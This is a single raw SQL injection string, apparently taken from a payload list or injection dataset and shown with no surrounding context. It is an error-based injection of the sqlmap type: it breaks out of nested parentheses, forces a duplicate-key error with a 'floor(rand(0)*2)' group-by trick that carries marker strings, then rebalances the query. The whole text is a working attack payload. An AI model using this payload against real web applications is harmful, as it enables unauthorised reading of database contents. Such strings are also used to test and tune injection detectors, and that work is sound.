1  )  )   )  and row ( 6237,7469 ) > ( select count ( * ) ,concat ( 0x7171706a71, ( select  ( elt ( 6237 = 6237,1  )  )   ) ,0x717a767a71,floor ( rand ( 0 ) *2  )  )  x from  ( select 5192 union select 3785 union select 3931 union select 7158 ) a group by x )  and   (  (   ( 4127 = 4127